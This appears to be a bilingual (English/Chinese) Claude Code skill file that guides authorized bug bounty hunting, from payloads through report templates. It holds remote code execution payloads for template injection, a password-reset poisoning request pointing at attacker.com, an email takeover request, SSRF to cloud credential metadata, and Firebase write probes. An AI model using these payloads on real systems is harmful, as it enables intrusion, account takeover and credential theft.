<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / 某些Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig返回49)Where to Test
测试位置
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results
- 名称/简介/描述字段(个人资料页面)
- 电子邮件模板(发票名称,确认电子邮件中的用户名)
- 自定义错误消息
- PDF生成器(发票,报告导出)
- URL路径参数
- 搜索查询在结果中反射
Jinja2 -> RCE (Python / Flask)
Jinja2 -> RCE (Python / Flask)
python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Twig -> RCE (PHP / Symfony)
Twig -> RCE (PHP / Symfony)
php
{{["id"]|filter("system")}}php
{{["id"]|filter("system")}}Freemarker -> RCE (Java)
Freemarker -> RCE (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}ERB -> RCE (Ruby on Rails)
ERB -> RCE (Ruby on Rails)
ruby
<%= `id` %>ruby
<%= `id` %>Subdomain Takeover
子域名接管
Detection
检测
bash
undefinedbash
undefinedCheck for dangling CNAMEs
查找悬空CNAME
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
查找指向github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com的CNAME
Automated takeover detection
自动接管检测
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefinednuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
undefinedQuick-Kill Fingerprints
快速终止指纹
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> ShopifyImpact Escalation
影响升级
- Basic takeover: serve page under target.com subdomain -> Low/Medium
-
- Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
-
- OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
-
- CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
- 基本接管: 在target.com子域名下提供页面 -> 低/中危
-
- Cookies: 如果target.com设置domain=.target.com的Cookie -> 凭证窃取 -> 高危
-
- OAuth重定向: 如果sub.target.com是注册的redirect_uri -> ATO链 -> 严重
-
- CSP绕过: 如果sub.target.com在目标的CSP中 -> 任何地方的XSS -> 严重
ATO -- Account Takeover (Complete Taxonomy)
ATO -- 账户接管(完整分类)
Path 1: Password Reset Poisoning (Host Header Injection)
路径1: 密码重置投毒(Host头注入)
bash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.combash
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.comIf reset link = https://attacker.com/reset?token=XXXX -> ATO
如果重置链接 = https://attacker.com/reset?token=XXXX -> ATO
Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
也尝试: X-Forwarded-Host, X-Host, X-Forwarded-Server
undefinedundefinedPath 2: Reset Token in Referrer Leak
路径2: 重置令牌在Referrer中泄露
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
点击重置链接后,如果页面加载外部资源 -> 令牌在Referer头中泄露到外部域名。
Path 3: Predictable / Weak Reset Tokens
路径3: 可预测 / 弱重置令牌
bash
undefinedbash
undefinedIf token < 16 hex chars or numeric only -> brute-forceable
如果令牌 < 16个十六进制字符或仅数字 -> 可暴力破解
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefinedffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
undefinedPath 4: Token Not Expiring / Reuse
路径4: 令牌未过期 / 可重用
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
请求令牌 -> 等待2小时 -> 使用它 -> 仍然有效?请求令牌#1 -> 请求令牌#2 -> 使用令牌#1 -> 仍然有效?
Path 5: Email Change Without Re-Authentication
路径5: 无需重新认证即可更改电子邮件
bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}bash
PUT /api/user/email
{"new_email": "attacker@evil.com"}If no current_password required -> attacker changes email -> locks out victim
如果不需要current_password -> 攻击者更改电子邮件 -> 锁定受害者
undefinedundefinedPath 6: OAuth Account Linking Abuse
路径6: OAuth账户链接滥用
Can you link an OAuth account from a different email to an existing account?
能否将来自不同电子邮件的OAuth账户链接到现有账户?
Path 7: Session Fixation
路径7: 会话固定
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
GET /login -> 记录Set-Cookie session=XYZ -> 登录 -> 会话ID是否更改?如果没有 = 固定。
Cloud / Infra Misconfigs
云 / 基础设施配置错误
S3 / GCS / Azure Blob
S3 / GCS / Azure Blob
bash
undefinedbash
undefinedS3 public listing
S3公共列表
aws s3 ls s3://target-bucket-name --no-sign-request
aws s3 ls s3://target-bucket-name --no-sign-request
Try common names
尝试常见名称
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
undefinedfor name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
undefinedEC2 Metadata (via SSRF)
EC2元数据(通过SSRF)
bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/Returns role name, then:
返回角色名称,然后:
Returns AccessKeyId, SecretAccessKey, Token -> Critical
返回AccessKeyId, SecretAccessKey, Token -> 严重
GCP (needs header Metadata-Flavor: Google):
GCP(需要头Metadata-Flavor: Google):
Azure (needs header Metadata: true):
Azure(需要头Metadata: true):
Firebase Open Rules
Firebase开放规则
bash
curl -s "https://TARGET-APP.firebaseio.com/.json"bash
curl -s "https://TARGET-APP.firebaseio.com/.json"If data returned -> open read
如果返回数据 -> 开放读取
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
If success -> open write -> Critical
如果成功 -> 开放写入 -> 严重
undefinedundefinedExposed Admin Panels
暴露的管理面板
bash
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/envbash
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/envKubernetes / Docker
Kubernetes / Docker
bash
undefinedbash
undefinedK8s API (unauthenticated):
K8s API(未认证):
Docker API:
Docker API:
---
---PHASE 4: VALIDATE
阶段4: 验证
The 7-Question Gate (Run BEFORE Writing ANY Report)
7问题审核门(撰写任何报告前运行)
All 7 must be YES. Any NO -> STOP.
所有7个问题必须是YES。任何NO -> 停止。
Q1: Can I exploit this RIGHT NOW with a real PoC?
Q1: 我能否用真实PoC现在就利用它?
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
写下确切的HTTP请求。如果你无法生成有效的请求 -> 放弃它。
Q2: Does it affect a REAL user who took NO unusual actions?
Q2: 它是否影响未采取任何异常操作的真实用户?
No "the user would need to..." with 5 preconditions. Victim did nothing special.
没有“用户需要...”的5个前置条件。受害者没有做任何特殊操作。
Q3: Is the impact concrete (money, PII, ATO, RCE)?
Q3: 影响是否具体(资金、PII、ATO、RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.
“技术上可能”不是影响。“我读取了受害者的SSN”是影响。
Q4: Is this in scope per the program policy?
Q4: 它是否符合项目政策的范围?
Check the exact domain/endpoint against the program's scope page.
将确切的域名/端点与项目的范围页面进行核对。
Q5: Did I check Hacktivity/changelog for duplicates?
Q5: 我是否检查了Hacktivity/变更日志中的重复项?
Search the program's disclosed reports and recent changelog entries.
搜索项目的已披露报告和最近的变更日志条目。
Q6: Is this NOT on the "always rejected" list?
Q6: 它是否不在“常被拒绝”列表中?
Check the list below. If it's there and you can't chain it -> KILL IT.
查看下面的列表。如果在列表中且无法链攻击 -> 放弃它。
Q7: Would a triager reading this say "yes, that's a real bug"?
Q7: 阅读此报告的分类人员会说“是的,这是真实漏洞”吗?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
把自己想象成周五下午5点疲惫的分类人员,阅读你的报告。它能通过吗?
4 Pre-Submission Gates
4提交前门
Gate 0: Reality Check (30 seconds)
门0: 现实检查(30秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)[ ] 漏洞真实存在 — 用实际HTTP请求确认,而非仅代码阅读
[ ] 漏洞在范围内 — 明确检查了项目范围
[ ] 我可以从头重现它(不仅仅是一次)
[ ] 我有证据(截图、响应、视频)Gate 1: Impact Validation (2 minutes)
门1: 影响验证(2分钟)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely[ ] 我可以回答: “攻击者现在能做什么以前不能做的事?”
[ ] 答案不仅仅是“查看非敏感数据”
[ ] 有真实受害者: 其他用户的数据、公司的数据、财务损失
[ ] 我不依赖用户做不太可能的事Gate 2: Deduplication Check (5 minutes)
门2: 重复项检查(5分钟)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs[ ] 在HackerOne Hacktivity中搜索此项目 + 类似漏洞标题
[ ] 在GitHub问题中搜索目标仓库
[ ] 阅读此项目最近的5份已披露报告
[ ] 这不是他们变更日志或公共文档中的“已知问题”Gate 3: Report Quality (10 minutes)
门3: 报告质量(10分钟)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix[ ] 标题: 一句话,包含漏洞类别 + 位置 + 影响
[ ] 重现步骤: 可复制粘贴的HTTP请求
[ ] 证据: 显示实际影响的截图/视频(不仅仅是200响应)
[ ] 严重程度: 匹配CVSS 3.1评分和项目的严重程度定义
[ ] 修复建议: 1-2句话的具体修复方案CVSS 3.1 Quick Guide
CVSS 3.1快速指南
| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
|---|---|---|---|---|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High (all 3) |
| 因素 | 低危(0-3.9) | 中危(4-6.9) | 高危(7-8.9) | 严重(9-10) |
|---|---|---|---|---|
| 攻击向量 | 物理 | 本地 | 相邻 | 网络 |
| 权限 | 高 | 低 | 无 | 无 |
| 用户交互 | 需要 | 需要 | 无 | 无 |
| 影响 | 部分 | 部分 | 高 | 高(所有3个) |
Typical Scores by Bug Class
按漏洞类别的典型评分
| Bug | Typical CVSS | Severity |
|---|---|---|
| IDOR (read PII) | 6.5 | Medium |
| IDOR (write/delete) | 7.5 | High |
| Auth bypass -> admin | 9.8 | Critical |
| Stored XSS | 5.4-8.8 | Med-High |
| SQLi (data exfil) | 8.6 | High |
| SSRF (cloud metadata) | 9.1 | Critical |
| Race condition (double spend) | 7.5 | High |
| GraphQL auth bypass | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |
| 漏洞 | 典型CVSS | 严重程度 |
|---|---|---|
| IDOR(读取PII) | 6.5 | 中危 |
| IDOR(写入/删除) | 7.5 | 高危 |
| 身份验证绕过 -> 管理员 | 9.8 | 严重 |
| 存储型XSS | 5.4-8.8 | 中-高危 |
| SQLi(数据泄露) | 8.6 | 高危 |
| SSRF(云元数据) | 9.1 | 严重 |
| 竞争条件(双花) | 7.5 | 高危 |
| GraphQL身份验证绕过 | 8.7 | 高危 |
| JWT none算法 | 9.1 | 严重 |
ALWAYS REJECTED -- Never Submit These
常被拒绝 — 永远不要提交这些
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
缺少CSP/HSTS/安全头、缺少SPF/DKIM/DMARC、单独的GraphQL自省、无有效CVE利用的横幅/版本披露、非敏感页面上的点击劫持、标签劫持、CSV注入、无凭证泄露PoC的CORS通配符、注销CSRF、自XSS、单独的开放重定向、移动应用中的OAuth client_secret、仅DNS-ping的SSRF、单独的Host头注入、非关键表单无速率限制、注销时会话未失效、并发会话、内部IP披露、混合内容、SSL弱密码套件、单独缺少HttpOnly/Secure cookie标志、外部链接损坏、预账户接管(通常)、密码字段自动完成。
N/A会降低你的有效率。信息级是中性的。只提交通过7问题审核门的内容。
Conditionally Valid With Chain
链攻击后可能有效
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug |
|---|---|---|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |
这些低危发现链攻击后成为有效漏洞:
| 低危发现 | + 链攻击 | = 有效漏洞 |
|---|---|---|
| 开放重定向 | + OAuth授权码窃取 | ATO |
| 点击劫持 | + 敏感操作 + PoC | 账户操作 |
| CORS通配符 | + 带凭证的泄露 | 数据窃取 |
| CSRF | + 敏感状态变更 | 账户接管 |
| 无速率限制 | + OTP暴力破解 | ATO |
| SSRF(仅DNS) | + 内部访问证明 | 内部网络访问 |
| Host头注入 | + 密码重置投毒 | ATO |
| 自XSS | + 登录CSRF | 受害者上的存储型XSS |
PHASE 5: REPORT
阶段5: 报告
HackerOne Report Template
HackerOne报告模板
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]标题: [漏洞类别]在[端点/功能]导致[影响]Summary
摘要
[2-3 sentences: what it is, where it is, what attacker can do]
[2-3句话: 是什么,在哪里,攻击者能做什么]
Steps To Reproduce
重现步骤
- Log in as attacker (account A)
- Send request: [paste exact request]
- Observe: [exact response showing the bug]
- Confirm: [what the attacker gained]
- 以攻击者身份登录(账户A)
- 发送请求: [粘贴确切请求]
- 观察: [显示漏洞的确切响应]
- 确认: [攻击者获得了什么]
Supporting Material
支持材料
[Screenshot / video of exploitation]
[Burp Suite request/response]
[利用的截图/视频]
[Burp Suite请求/响应]
Impact
影响
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
攻击者可以[具体操作]导致[具体危害]。
[尽可能量化: “影响所有X用户”或“攻击者可访问Y数据”]
Severity Assessment
严重程度评估
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
undefinedCVSS 3.1评分: X.X ([严重程度标签])
攻击向量: 网络 | 复杂度: 低 | 权限: 无 | 用户交互: 无
undefinedBugcrowd Report Template
Bugcrowd报告模板
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]标题: [漏洞]在[端点] — [一行描述影响]
漏洞类型: [IDOR/SSRF/XSS/etc]
目标: [URL或组件]
严重程度: [P1/P2/P3/P4]
描述:
[根本原因 + 确切位置]
重现:
1. [步骤]
2. [步骤]
3. [步骤]
影响:
[具体业务影响]
修复建议:
[具体修复方案]Human Tone Rules (Avoid AI-Sounding Writing)
人性化写作规则(避免AI风格)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"
- 以影响开头,而非漏洞名称
- 像向聪明的开发者解释一样写作,而非教科书
- 使用“I”和主动语态: “我发现...”而非“发现了一个漏洞...”
- 一个具体例子胜过三个抽象句子
- 不要使用破折号,不要使用“comprehensive/leverage/seamless/ensure”等词
Report Title Formula
报告标题公式
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited timesBad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API[漏洞类别]在[确切端点/功能]允许[攻击者角色]对[受害者范围]造成[影响]好标题:
IDOR在/api/v2/invoices/{id}允许已认证用户读取任何客户的发票数据
POST /api/admin/users缺少身份验证允许未认证攻击者创建管理员账户
个人资料简介字段中的存储型XSS在管理面板中执行 — 允许权限提升
通过图片导入URL参数的SSRF到达AWS EC2元数据服务
优惠券兑换中的竞争条件允许同一代码无限次使用坏标题:
发现IDOR漏洞
访问控制损坏
用户输入中的XSS
API中的安全问题Impact Statement Formula (First Paragraph)
影响陈述公式(第一段)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].[具备X访问级别的攻击者]可以通过[方法]执行[确切操作],导致[业务危害]。
这需要[前置条件],并留下[检测/可逆性]。The 60-Second Pre-Submit Checklist
60秒提交前清单
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)[ ] 标题遵循公式: [类别]在[端点]允许[角色]造成[影响]
[ ] 第一句话用简单英语说明确切影响
[ ] 重现步骤包含确切HTTP请求(可复制粘贴)
[ ] 包含显示漏洞的响应(截图或响应体)
[ ] 使用了两个测试账户(不仅仅是一个账户测试自己)
[ ] 计算并包含CVSS评分
[ ] 建议的修复方案是一句话(不是长篇大论)
[ ] 端点路径或参数名称无拼写错误
[ ] 报告<600字(分类人员会浏览长报告)
[ ] 声称的严重程度与描述的影响匹配(不要夸大)Severity Escalation Language
严重程度升级语言
When payout is being downgraded, use these counters:
| Program Says | You Counter With |
|---|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number -- I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
当赏金被降级时,使用这些反驳:
| 项目方说 | 你反驳说 |
|---|---|
| “需要身份验证” | “攻击者只需要一个免费账户(无特殊角色)” |
| “影响有限” | “影响[X]用户 / [PII类型] / [$金额]” |
| “已知问题” | “给我报告编号 — 我搜索过,没有找到” |
| “设计如此” | “给我说明这是预期行为的文档” |
| “CVSS评分低” | “CVSS不考虑业务影响 — 攻击者可以窃取[X]” |
RESOURCES
资源
Bug Bounty Platforms
漏洞赏金平台
- HackerOne Hacktivity -- Disclosed reports
- Bugcrowd Crowdstream -- Public findings
- Intigriti Leaderboard
- HackerOne Hacktivity — 已披露报告
- Bugcrowd Crowdstream — 公开发现
- Intigriti Leaderboard
Learning
学习
- PortSwigger Web Academy -- Free vuln labs (best)
- HackTricks -- Attack technique reference
- PayloadsAllTheThings -- Payload reference
- Solodit -- 50K+ searchable audit findings (Web3)
- ProjectDiscovery Chaos -- Free subdomain datasets
- PortSwigger Web Academy — 免费漏洞实验室(最佳)
- HackTricks — 攻击技术参考
- PayloadsAllTheThings — 载荷参考
- Solodit — 50K+可搜索审计发现(Web3)
- ProjectDiscovery Chaos — 免费子域名数据集
Wordlists
词表
- SecLists -- Comprehensive wordlists
- HowToHunt -- Step-by-step vuln hunting
- DefaultCreds -- Default credentials
- SecLists — 综合词表
- HowToHunt — 分步漏洞挖掘
- DefaultCreds — 默认凭证
Payload Databases
载荷数据库
- XSSHunter -- Blind XSS detection
- interactsh -- OOB callback server
- XSSHunter — 盲XSS检测
- interactsh — OOB回调服务器
INSTALLATION (Claude Code Skill)
安装(Claude Code技能)
To use this as a Claude Code skill, copy this file to your skills directory:
bash
undefined要将此作为Claude Code技能使用,将此文件复制到你的技能目录:
bash
undefinedOption A: Clone the repo and link the skill
选项A: 克隆仓库并链接技能
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
Option B: Direct copy
选项B: 直接复制
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
---mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
-o ~/.claude/skills/bug-bounty/SKILL.md
然后在Claude Code中,当你询问漏洞赏金、侦察或漏洞挖掘时,此技能会自动加载。
---Related Skills & Chains
相关技能与链
- — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator;
bb-methodologyis the 5-phase workflow it routes to. Loadbb-methodologyFIRST, then this skill names the topic-matched hunt-* skills.bb-methodology - — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to
hunt-dispatchfor the platform fingerprint + skill-set load.hunt-dispatch - +
web2-recon— When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution tooffensive-osintand the operational arsenal (probes / wordlists / regexes) toweb2-recon.offensive-osint - +
triage-validation— When a finding completes Phase 4. Workflow primitive: this skill routes toreport-writing(7Q gate) → only if all 7 pass, hand off totriage-validationfor the platform-specific body.report-writing
- — 当挖掘会话开始且用户“不知道下一步该做什么”时。工作流原语: 此技能是编排器;
bb-methodology是它路由到的5阶段工作流。先加载bb-methodology,然后此技能命名匹配主题的hunt-*技能。bb-methodology - — 当确认PART 0模式(红队 / WAPT)时。工作流原语: 此技能的“我该做什么”路由将任务交给
hunt-dispatch进行平台指纹识别 + 技能集加载。hunt-dispatch - +
web2-recon— 当阶段1(侦察)开始时。工作流原语: 此技能的“标准侦察流程”部分将实时执行委托给offensive-osint,将操作库(探针 / 词表 / 正则)委托给web2-recon。offensive-osint - +
triage-validation— 当发现完成阶段4时。工作流原语: 此技能路由到report-writing(7Q门) → 只有当所有7个问题通过时,才将任务交给triage-validation生成平台特定的正文。report-writing
Operator Notes (Claude-BugHunter)
操作员说明(Claude-BugHunter)
Engagement-derived additions to the vendored foundation. Wisdom from real authorized engagements + Phase 2 verification across this repo's 31+ skill-area live tests. The upstream methodology covers the WHAT; this layer covers the WHEN-IT-ACTUALLY-WORKS and the FAILURE-MODES.
基于参与的补充到供应商基础。来自真实授权参与 + 此仓库31+技能区域实时测试的阶段2验证的智慧。上游方法论涵盖WHAT;此层涵盖WHEN-IT-ACTUALLY-WORKS和FAILURE-MODES。
When to use the orchestrator vs a direct skill
何时使用编排器 vs 直接技能
The orchestrator (this skill) is for the "I don't yet know what bug class to hunt for" case. If you've already identified the candidate — "the response reflects my Host header into a JavaScript src URL, that's cache poisoning" — load directly. The orchestrator's value is the initial routing from a fuzzy intent ("there's a chatbot, what should I test") to a concrete skill set ( + ).
hunt-cache-poisoninghunt-llm-aihunt-api-misconfigWhen in doubt: open the orchestrator FIRST on any new target, let it route, then close the orchestrator and work in the loaded skills. Don't keep the orchestrator loaded all session — it occupies context window that could hold actual probe results.
编排器(此技能)适用于“我还不知道要挖掘什么漏洞类别”的情况。如果你已经确定了候选漏洞 — “响应将我的Host头反射到JavaScript src URL中,这是缓存投毒” — 直接加载。编排器的价值是从模糊意图(“有一个聊天机器人,我应该测试什么”)到具体技能集( + )的初始路由。
hunt-cache-poisoninghunt-llm-aihunt-api-misconfig如有疑问: 在任何新目标上先打开编排器,让它路由,然后关闭编排器并在加载的技能中工作。不要在整个会话中保持编排器加载 — 它占用的上下文窗口本可以容纳实际探针结果。
Common misuse: loading every hunt-* simultaneously
常见误用: 同时加载所有hunt-*
There are 30+ hunt-* skills in this repo. Each carries a non-trivial context footprint. The orchestrator's job is to pick 2-3 by topic match, not to dump the entire library. If the user says "hunt this SaaS app", do NOT load every hunt-* skill — pick + + (the SaaS-typical trio) and stop there. Add more only when the recon output suggests a specific additional class (e.g., GraphQL endpoints found → add ).
web2-reconhunt-idorhunt-api-misconfighunt-graphql此仓库中有30+hunt-*技能。每个都有不小的上下文占用。编排器的工作是按主题匹配选择2-3个,而非转储整个库。如果用户说“挖掘这个SaaS应用”,不要加载所有hunt-*技能 — 选择 + + (SaaS典型 trio)并停止。只有当侦察输出表明需要特定额外类别时才添加更多(例如,发现GraphQL端点 → 添加)。
web2-reconhunt-idorhunt-api-misconfighunt-graphqlIntegration with hunt-dispatch
与hunt-dispatch集成
This skill routes by bug class (topic match). The skill added in this repo routes by engagement mode (red-team vs WAPT, blackbox vs greybox). They compose:
hunt-dispatch- User says "hunt example.com"
- PART 0 confirms mode (e.g., bug-bounty blackbox)
bb-methodology - loads the platform-specific attack profile
hunt-dispatch - This orchestrator () names the topic-matched hunt-* skills inside the chosen profile
bug-bounty
Don't bypass either step. Mode determines what counts as a finding; topic determines what techniques apply.
此技能按漏洞类别(主题匹配)路由。此仓库中添加的技能按参与模式(红队 vs WAPT,黑盒 vs 灰盒)路由。它们组合使用:
hunt-dispatch- 用户说“挖掘example.com”
- PART 0确认模式(例如,漏洞赏金黑盒)
bb-methodology - 加载平台特定攻击配置文件
hunt-dispatch - 此编排器()在所选配置文件中命名匹配主题的hunt-*技能
bug-bounty
不要绕过任何步骤。模式决定什么算作发现;主题决定适用什么技术。
Engagement scaffolding
参与脚手架
The slash-command and the shell helper (see this repo's directory) pre-create the engagement scaffold:
/hunthunt <target>cmd/- — declared scope, pasted from the program page
targets/<target>/scope.md - — one MD per validated finding
targets/<target>/findings/ - — HARs, screenshots, redacted curl transcripts
targets/<target>/evidence/ - — log of submitted-report URLs + states
targets/<target>/submissions.txt - — outputs from
targets/<target>/recon/subfinder | dnsx | httpx | katana
Use the scaffold from the start. Half-organized engagements lose findings — a probe result from hour 2 that didn't seem important until hour 14 is unrecoverable if it wasn't logged.
/hunthunt <target>cmd/- — 声明范围,从项目页面粘贴
targets/<target>/scope.md - — 每个已验证发现一个MD文件
targets/<target>/findings/ - — HARs,截图,编辑后的curl记录
targets/<target>/evidence/ - — 提交报告URL + 状态日志
targets/<target>/submissions.txt - —
targets/<target>/recon/的输出subfinder | dnsx | httpx | katana
从一开始就使用脚手架。半组织的参与会丢失发现 — 第2小时的探针结果在第14小时前似乎不重要,如果没有记录则无法恢复。
When the orchestrator gets it wrong
当编排器出错时
Across 30+ Phase 2 verification tests in this repo, the orchestrator correctly auto-triggered the matching skill in every test — zero misfires. If on a future target the orchestrator misroutes (loads the wrong hunt-* for the topic), the cause is almost always the frontmatter field on the target skill: a missing keyword that would have matched the user's intent. Fix forward by editing that skill's frontmatter field to include the missing trigger word. Don't add another layer of dispatch logic; tighten the description.
description:description:- — When you need to know which local clone has the tool for a given task. Workflow primitive: this skill is general bug-bounty guidance;
bb-local-toolkitanswers the specific "where is jhaddix/SecLists installed on this machine?" question.bb-local-toolkit
